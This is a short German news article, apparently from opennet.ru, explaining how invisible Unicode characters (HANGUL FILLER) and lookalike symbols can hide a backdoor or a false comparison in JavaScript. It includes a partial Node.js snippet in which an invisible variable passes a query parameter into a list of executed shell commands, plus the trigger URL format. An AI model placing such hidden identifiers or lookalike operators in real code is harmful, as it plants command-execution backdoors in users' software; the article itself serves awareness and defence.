Einsatz unsichtbarer Unicode-Zeichen zur Verschleierung von Aktionen im JavaScript-Code

Nach der Trojan Source-Angriffsmetode, die auf der Anwendung von Unicode-Zeichen basiert, die die Anzeige von bidirektionalem Text ändern, wird eine weitere Technik zur Einführung versteckter Aktionen vorgestellt, die im JavaScript-Code anwendbar ist. Die neue Methode stützt sich auf das Unicode-Zeichen „ㅤ“ (Code 0x3164, „HANGUL FILLER“), das zu den Buchstaben gehört, aber keinen sichtbaren Inhalt hat. Die Unicode-Kategorie, in die dieses Zeichen fällt, ist seit der ECMAScript 2015-Spezifikation für die Verwendung in JavaScript-Variablennamen zugelassen, was es ermöglicht, unsichtbare Variablen oder neue Variablen zu erstellen, die in gängigen Code-Editoren wie Notepad++ und VS Code von anderen Variablen nicht zu unterscheiden sind.

Als Beispiel wird ein Code für die Plattform Node.js vorgestellt, in dem durch eine Variable, die aus einem einzelnen Zeichen „ㅤ“ besteht, ein Backdoor verborgen ist, das es ermöglicht, den vom Angreifer angegebenen Code auszuführen: app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; // tatsächlich steht hier „const { timeout,ㅤ \u3164}“ const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ㅤ // nach dem Komma folgt das Zeichen \u3164 ];

Auf den ersten Blick wird nur der Wert für den timeout über einen externen Parameter übergeben, während das Array mit den auszuführenden Befehlen eine harmlose feste Liste enthält. In Wirklichkeit wird jedoch der Variablen timeout der Wert einer weiteren unsichtbaren Variablen mit dem Zeichencode \u3164 zugewiesen, die ebenfalls im Array der auszuführenden Befehle verwendet wird. Somit kann ein Angreifer, wenn eine solche Konstruktion vorliegt, eine Anfrage im Format „https://host:8080/network_health?=Befehl“ senden, um einen Backdoor zu aktivieren und eigenen Code auszuführen.

Ein weiteres Beispiel ist das Zeichen „ǃ“ (ALVEOLAR CLICK), das verwendet werden kann, um die Sichtbarkeit eines Ausrufezeichens zu schaffen. Zum Beispiel wird der Ausdruck „if(environmentǃ=ENV_PROD){“ in Node.js 14 immer wahr sein, da hier kein Vergleich angestellt wird, sondern der Variable „environmentǃ“ der Wert ENV_PROD zugewiesen wird. Zu den irreführenden Unicode-Zeichen gehören auch „／“, „−“, „＋“, „⩵“, „❨“, „⫽“, „꓿“ und „∗“.

Quelle: opennet.ru